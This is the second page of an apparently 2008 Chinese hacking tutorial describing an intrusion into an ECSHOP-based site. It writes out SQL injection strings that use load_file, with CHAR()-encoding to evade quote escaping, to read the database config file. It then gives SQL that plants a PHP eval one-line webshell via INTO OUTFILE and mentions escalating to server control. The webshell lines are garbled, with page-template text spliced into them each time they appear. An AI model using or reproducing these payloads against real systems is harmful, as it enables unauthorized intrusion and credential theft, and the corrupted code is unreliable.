虽然知道了用户名但是没有密码是没有用的,如何得到密码那,这又是一个难题。不过不知道大家想没想到load_file这个函数,顾名思义,当然就是装载文件了,这样思路就清晰了,如果我们可以装载他数据库的连接文件,那么就自然会胜利冲破难关。
不过要想装载他的连接文件就必须知道绝对路径,为什么?因为相对路径不能用,呵呵。在网站上不停的游走,不停侧单引号,最后还真的被我找到了他的绝对路径(如图9)。

图9
相对路径找到了,那么数据库连接文件又是什么那,记得我们开始下了一套ECSHOP的系统了吧,对到那里去找,OK,路径为DATACONFIG.PHP
好的现在我们加载他的连接文件,在注入点后面加上
and 1=2 union select 13,12,11,load_file(‘E:new_sitedataconfig.inc.php'),9,8,7,6,5,4,3,2,1
以为就这样大功告成,可谁知道人算不如天算,挂了(如图10)

图10
开始以为是路径错了,可仔细检查一下,并每有出现错误啊,难道是权限为题,应该也不会,我是ROOT啊,到底是哪了不对那,仔细看了下才发现,每个单引号前面都多了个“”怎么成了转义字符了,没关系,出现问题我们就解决问题。他将单引号顾虑成“’”,你过滤他,那我不用他不就完了,据我所致,想换掉单引号应该有两种方法,一种是用CHAR()、另一种就是转换成16进制,于是开始构造提交字符。
我们用ASCII转换器进行下转换(如图11)

图11
那么构造后的结果就是:
and 1=2 union select13,12,11,load_file(char(69,58,92,110,101,119,95,115,105,116,101,92,100,97,116,97,92,99,111,110,102,105,103,46,112,104,112)),9,8,7,6,5,4,3,2,1
返回结果没有报错,证明文件应该已经装载成功,可是怎么没有显示出来那(如图12),

图12
难道是哪有错误?想了半天,原来如此,他装载文件的时候是将整个文件完全装载,那么我看到的也就是执行过的PHP的代码,这里我们用右键,查看源文件一下就清楚了(如图13)

图13(图片信息为假)
这样我们就得到了他的完整信息,包括数据库的地址、帐户、密码,虽然现在差不多已经成功一半了,可是还有个问题就是ROOT帐户虽然也是超级管理员权限,可是他不能像SQL一样直接执行命令,如果我们像进一步渗透服务器就必须用到MYSQL的提权工具(如图14),来进行权限的提升。

图14
可是如何将文件上传上去就又成了问题,用MYSQL QUERY连接上数据库,添加了个管理员帐户,进入到网站后台,可进去后发现,如果不研究源代码是很难找到入口得到webshell的。想了想,既然SQL的数据库可以叉一句话木马然后到处成文件,那么MYSQL是不是也可以那,如果可以,我们只需要在数据库里新建个表,然后在字段里插入PHP一句话,在导出成PHP文件不就可以了吗。
好的,我们现在来用在数据库里插入一句话木马。语句如下:
Create TABLE a (cmd text NOT NULL);
//创建一个表a,包含一个字段cmd
Insert INTO a (cmd) VALUES('<?php @eval(
PHP血战到底,赢取光辉一行!(图)_安全中国_全球最大网络安全培训门户
|
PHP血战到底,赢取光辉一行!(图)
|
| 更新时间:2008-5-17 0:12:43 |
责任编辑:流火 | |
|
| $Content$ | | |
|
|
POST[cmd]);?>');
//在字段cmd中插入一句话木马,木马内容为<?php @eval(
PHP血战到底,赢取光辉一行!(图)_安全中国_全球最大网络安全培训门户
|
PHP血战到底,赢取光辉一行!(图)
|
| 更新时间:2008-5-17 0:12:43 |
责任编辑:流火 | |
|
| $Content$ | | |
|
|
POST[cmd]);?>
select cmd from a into outfile 'E:/new_site/haosec.com.php';
//将cmd字段内容导出到E:/new_site/haosec.com.php
这样在根目录下就会有一个文件,文件内容为 <?php @eval(
PHP血战到底,赢取光辉一行!(图)_安全中国_全球最大网络安全培训门户
|
PHP血战到底,赢取光辉一行!(图)
|
| 更新时间:2008-5-17 0:12:43 |
责任编辑:流火 | |
|
| $Content$ | | |
|
|
POST[cmd]);?>,也就是我们所说的一句话木马,那么我们只需要用控制端去连接他就可以了,连接成功(如图15)。

图15
不过如果在导出之后,发现导出文件是报错的或不能使用,大家可以尝试使用容错的一句话木马,即<?php @eval(
PHP血战到底,赢取光辉一行!(图)_安全中国_全球最大网络安全培训门户
|
PHP血战到底,赢取光辉一行!(图)
|
| 更新时间:2008-5-17 0:12:43 |
责任编辑:流火 | |
|
| $Content$ | | |
|
|
POST[cmd]);?>来解决这一问题。
Webshell有了,提权也就不是什么困难的事情了,MYSQL提权,我朋友小飞做的教程非常不错,大家可以到网上去搜一下MYSQL提权,很多。
加完管理员后,上传工具开了终端,登陆上去(如图16)。

图16
至此,入侵检测就告一段落了,应该是拿到了服务器的最高权限。
其实,我是一个完全不懂PHP的人,只是在做入侵检测之前,学习了一下。其实,这次入侵检测完成以后,给我最大的一个感受就是,中国的网络安全技术为什么同国外差距这么大,就是因为惰性的原因,其实入侵检测并不难,网上的知识足够我们学的,真的希望中国的网络安全技术能够真正的强大起来,而不只是梦想而已。
上一页 1 2